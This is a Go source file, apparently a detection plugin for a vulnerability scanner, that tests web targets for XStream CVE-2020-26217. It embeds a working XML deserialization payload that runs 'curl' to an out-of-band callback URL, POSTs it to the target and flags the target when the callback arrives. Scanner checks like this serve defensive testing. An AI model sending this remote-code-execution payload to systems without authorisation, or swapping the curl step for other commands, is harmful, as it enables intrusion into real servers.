/**
2 * @Author: shaochuyu
3 * @Date: 3/10/24
4 */

package xstream

import (
	"bytes"
	"context"
	"strings"
	"wscan/core/http"
	"wscan/core/model"
	"wscan/core/plugins/base"
	"wscan/core/reverse"
	logger "wscan/core/utils/log"
)

type CVE_2020_26217 struct {
}

func (*CVE_2020_26217) Finger() *base.Finger {
	return &base.Finger{
		CheckAction: func(ctx context.Context, ab *base.Apollo) error {
			flow := ab.GetTargetFlow()
			logger.Infof("开始检测xstream/CVE-2020-26217, %s", flow.Request.URL())
			payload := `<map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                  <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                    <contentType>text/plain</contentType>
                    <is class='java.io.SequenceInputStream'>
                      <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                        <iterator class='javax.imageio.spi.FilterIterator'>
                          <iter class='java.util.ArrayList$Itr'>
                            <cursor>0</cursor>
                            <lastRet>-1</lastRet>
                            <expectedModCount>1</expectedModCount>
                            <outer-class>
                              <java.lang.ProcessBuilder>
                                <command>
                                  <string>curl</string>
                                  <string>{{reverse-url}}</string>
                                </command>
                              </java.lang.ProcessBuilder>
                            </outer-class>
                          </iter>
                          <filter class='javax.imageio.ImageIO$ContainsFilter'>
                            <method>
                              <class>java.lang.ProcessBuilder</class>
                              <name>start</name>
                              <parameter-types/>
                            </method>
                            <name>start</name>
                          </filter>
                          <next/>
                        </iterator>
                        <type>KEYS</type>
                      </e>
                      <in class='java.io.ByteArrayInputStream'>
                        <buf></buf>
                        <pos>0</pos>
                        <mark>0</mark>
                        <count>0</count>
                      </in>
                    </is>
                    <consumed>false</consumed>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <string>test</string>
          </entry>
        </map>`
			unit := ab.Reverse.Register(nil)
			payload = strings.Replace(payload, "{{reverse-url}}", unit.GetVisitURL(), -1)

			req, _ := http.NewRequest("POST",
				flow.Request.URL().JoinPath("/").String(),
				nil)
			req.WithXMLBody(bytes.NewReader([]byte(payload)))
			res, err := ab.HTTPClient.Respond(context.TODO(), req)
			if err != nil {
				return nil
			}
			unit.OnVisit(func(event *reverse.Event) error {
				v := ab.NewWebVuln(req, res, nil)
				if v != nil {
					v.SetTargetURL(flow.Request.URL())
					v.Payload = payload
					ab.OutputVuln(v)
				}
				return nil
			})
			unit.Fetch(0)
			return nil
		},
		Channel:     "web-generic",
		NeedReverse: true,
		Binding: &model.VulnBinding{ID: "xstream/CVE-2020-26217",
			Plugin:   "xstream/CVE-2020-26217",
			Category: "xstream/CVE-2020-26217"},
	}
}
